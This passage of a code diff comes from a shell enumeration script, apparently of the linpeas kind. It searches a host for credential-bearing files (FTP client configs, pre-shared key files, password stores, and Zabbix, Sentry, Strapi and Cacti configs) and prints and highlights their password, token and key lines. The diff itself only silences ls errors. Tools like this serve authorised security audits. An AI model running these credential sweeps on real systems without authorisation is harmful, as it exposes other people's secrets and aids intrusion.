fi; printf "%s" "$PSTORAGE_FTP" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.config"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_ROCKETCHAT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Rocketchat Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_GLUSTERFS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing GlusterFS Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.pem$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.pem"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.pem$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.pem$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.ca$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.ca"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.ca$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.ca$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.key"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.key$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_RACOON" ] || [ "$DEBUG" ]; then print_2title "Analyzing Racoon Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_OPERA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Opera Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_SAFARI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Safari Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SAFARI\" | grep -E \"Safari$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Safari"; fi; fi; printf "%s" "$PSTORAGE_SAFARI" | grep -E "Safari$" | while read f; do ls -ld "$f" | sed -${E} "s,Safari$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SAFARI\" | grep -E \"Safari$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Safari"; fi; fi; printf "%s" "$PSTORAGE_SAFARI" | grep -E "Safari$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Safari$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_INFLUXDB" ] || [ "$DEBUG" ]; then print_2title "Analyzing InfluxDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_ZABBIX" ] || [ "$DEBUG" ]; then print_2title "Analyzing Zabbix Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_server\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_server.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_server\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,zabbix_server\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,DBName|DBUser|DBPassword,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_agentd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_agentd.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_agentd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,zabbix_agentd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,TLSPSKFile|psk,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix$" | while read f; do ls -ld "$f" | sed -${E} "s,zabbix$,${SED_RED},"; find "$f" -name "*.psk" | while read ff; do ls -ld "$ff" | sed -${E} "s,.psk,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_server\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_server.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_server\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_server\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,DBName|DBUser|DBPassword,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_agentd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_agentd.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_agentd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_agentd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,TLSPSKFile|psk,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix$,${SED_RED},"; find "$f" -name "*.psk" | while read ff; do ls -ld "$ff" | sed -${E} "s,.psk,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_PRE_SHARED_KEYS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Pre-Shared Keys Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PRE_SHARED_KEYS\" | grep -E \"\.psk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.psk"; fi; fi; printf "%s" "$PSTORAGE_PRE_SHARED_KEYS" | grep -E "\.psk$" | while read f; do ls -ld "$f" | sed -${E} "s,\.psk$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PRE_SHARED_KEYS\" | grep -E \"\.psk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.psk"; fi; fi; printf "%s" "$PSTORAGE_PRE_SHARED_KEYS" | grep -E "\.psk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.psk$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_PASS_STORE_DIRECTORIES" ] || [ "$DEBUG" ]; then print_2title "Analyzing Pass Store Directories Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PASS_STORE_DIRECTORIES\" | grep -E \"\.password-store$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".password-store"; fi; fi; printf "%s" "$PSTORAGE_PASS_STORE_DIRECTORIES" | grep -E "\.password-store$" | while read f; do ls -ld "$f" | sed -${E} "s,\.password-store$,${SED_RED},"; ls -lRA "$f";done; echo ""; + if ! [ "`echo \"$PSTORAGE_PASS_STORE_DIRECTORIES\" | grep -E \"\.password-store$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".password-store"; fi; fi; printf "%s" "$PSTORAGE_PASS_STORE_DIRECTORIES" | grep -E "\.password-store$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.password-store$,${SED_RED},"; ls -lRA "$f";done; echo ""; fi if [ "$PSTORAGE_BIND" ] || [ "$DEBUG" ]; then print_2title "Analyzing Bind Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_SEEDDMS" ] || [ "$DEBUG" ]; then print_2title "Analyzing SeedDMS Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "seeddms*"; fi; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" | sed -${E} "s,seeddms.*$,${SED_RED},"; find "$f" -name "settings.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "seeddms*"; fi; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,seeddms.*$,${SED_RED},"; find "$f" -name "settings.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_DDCLIENT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Ddclient Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ddclient.conf"; fi; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ddclient.conf"; fi; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_SENTRY" ] || [ "$DEBUG" ]; then print_2title "Analyzing Sentry Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry$" | while read f; do ls -ld "$f" | sed -${E} "s,sentry$,${SED_RED},"; find "$f" -name "config.yml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,*key*,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry\.conf\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry.conf.py"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry\.conf\.py$" | while read f; do ls -ld "$f" | sed -${E} "s,sentry\.conf\.py$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry$,${SED_RED},"; find "$f" -name "config.yml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,*key*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry\.conf\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry.conf.py"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry\.conf\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry\.conf\.py$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_STRAPI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Strapi Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_STRAPI\" | grep -E \"environments$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "environments"; fi; fi; printf "%s" "$PSTORAGE_STRAPI" | grep -E "environments$" | while read f; do ls -ld "$f" | sed -${E} "s,environments$,${SED_RED},"; find "$f" -name "custom.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,custom.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "database.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,database.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "request.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,request.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "response.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,response.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "security.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,security.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "server.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,server.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_STRAPI\" | grep -E \"environments$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "environments"; fi; fi; printf "%s" "$PSTORAGE_STRAPI" | grep -E "environments$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,environments$,${SED_RED},"; find "$f" -name "custom.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,custom.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "database.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,database.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "request.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,request.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "response.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,response.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "security.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,security.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "server.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,server.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_CACTI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cacti Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CACTI\" | grep -E \"cacti$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cacti"; fi; fi; printf "%s" "$PSTORAGE_CACTI" | grep -E "cacti$" | while read f; do ls -ld "$f" | sed -${E} "s,cacti$,${SED_RED},"; find "$f" -name "config.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "config.php.dist" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php.dist,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "installer.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,installer.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "check_all_pages" | while read ff; do ls -ld "$ff" | sed -${E} "s,check_all_pages,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACTI\" | grep -E \"cacti$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cacti"; fi; fi; printf "%s" "$PSTORAGE_CACTI" | grep -E "cacti$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cacti$,${SED_RED},"; find "$f" -name "config.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "config.php.dist" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php.dist,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "installer.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,installer.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" 